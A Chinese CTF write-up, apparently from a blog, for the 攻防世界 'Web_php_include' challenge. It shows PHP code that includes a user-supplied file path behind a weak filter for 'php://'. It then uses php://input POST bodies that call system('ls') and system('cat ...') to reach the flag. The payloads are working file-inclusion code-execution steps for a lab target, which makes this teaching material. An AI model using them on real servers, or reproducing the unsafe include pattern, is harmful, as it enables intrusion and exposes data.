Web_php_include 攻防世界

复制代码
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {    以是否检测到php://为判断执行循环
    $page=str_replace("php://", "", $page);//传入空值,替换
}
include($page);
?>

综上分析,get方式好像挺难去看到这个flag的,因为这种代码下的flag通常放在一个文件中,需要先展开ls,然后在cat查看。那我们就尝试用post传参

准备好一个Firefox 一个max hackbar

通过php伪协议php://input

首先post传入第一个命令 ,这个命令用来展开目录

复制代码
<php
system("ls")
?>

随后得到fl4gisisish3r3.php 一般这种文件就是flag,

我们使用

复制代码
<?php
system("cat fl4gisisish3r3.php ")//查看文件下的flag
?>

有的flag会直接在屏幕上,有的就藏在背后i的代码里,这个就是

相关推荐
℡終嚸♂6801 天前
n8n 未初始化接管到读取 Flag Writeup
服务器·web安全·web·n8n
曲幽1 天前
FastAPI配置管理避坑指南:从硬编码到 .env 与 pydantic_settings 类,连路由用法都给你捋清楚
python·fastapi·web·settings·config·pydantic·.env·dotenv·.env.prod
rannn_1112 天前
【FastAPI|快速入门】第一个FastAPI程序、路由、参数、相应类型、自定义响应数据格式、异常响应处理
python·ai·fastapi·web·开发
tryqaaa_3 天前
学习日志(二)【linux全部命令,http请求头{有例题},Php语法学习】
linux·学习·http·php·web
曲幽3 天前
FastAPI 文件上传避坑全指南:分块存盘、类型校验与安全兜底
python·upload·fastapi·web·file·chunk·validate·filetype
其实防守也摸鱼3 天前
ctfshow--VIP题目限免2(后10个) 原理和知识拓展
网络·ctf·讲解·原理·知识·ctfshow·解题
JTaoX3 天前
WriteUp-Reverse(Hello,CTF、re1、simple-unpack)
ida·web·writeup·reverse·upx
曲幽3 天前
FastAPI + Pydantic 模型终极实战手册:从能跑就行到固若金汤,这些技巧你一定用得上
python·fastapi·web·model·field·pydantic·validator·basemodel
里欧跑得慢5 天前
微交互设计模式:提升用户体验的细节之美
前端·css·flutter·web
曲幽5 天前
FastAPI + SQLAlchemy 2.0 通用CRUD操作手册 —— 从同步到异步,一次讲透
python·fastapi·web·async·sqlalchemy·session·crud·sync·with